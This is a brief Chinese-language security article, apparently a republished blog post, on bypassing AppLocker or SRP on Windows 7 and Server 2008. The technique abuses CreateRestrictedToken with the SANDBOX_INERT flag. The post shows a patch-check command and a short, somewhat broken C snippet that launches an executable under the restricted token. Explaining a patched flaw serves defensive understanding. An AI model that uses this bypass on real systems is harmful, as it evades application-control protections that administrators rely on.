本文讲的是
绕过AppLocker系列之CreateRestrictedToken的利用,
大多数时候,绕过AppLocker都会利用可信的Microsoft二进制文件或者配置错误的策略进行代码执行,这些方法都比较简单。但是,我们还有一种通过利用架构设计的漏洞来绕过SPR或AppLocker。特别是在Windows 7和Windows 2008 Server环境中,可以滥用API函数(CreateRestrictedToken)来实现绕过。微软后来发布了一个补丁来解决这个问题。
wmic.exe qfe list | findstr.exe 2532445
HANDLE hToken; HANDLE hNewToken; PROCESS_INFORMATION sPI; STARTUPINFO sSI; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { if (CreateRestrictedToken(hToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &hNewToken)) { memset(&sSI, 0, sizeof(sSI)); sSI.cb = sizeof(sSI); if (CreateProcessAsUser(hNewToken, L"c:testDialog42.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL, &sSI, &sPI)) { puts("process created"); } }
原文发布时间为:2017年7月31日
本文作者:丝绸之路
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。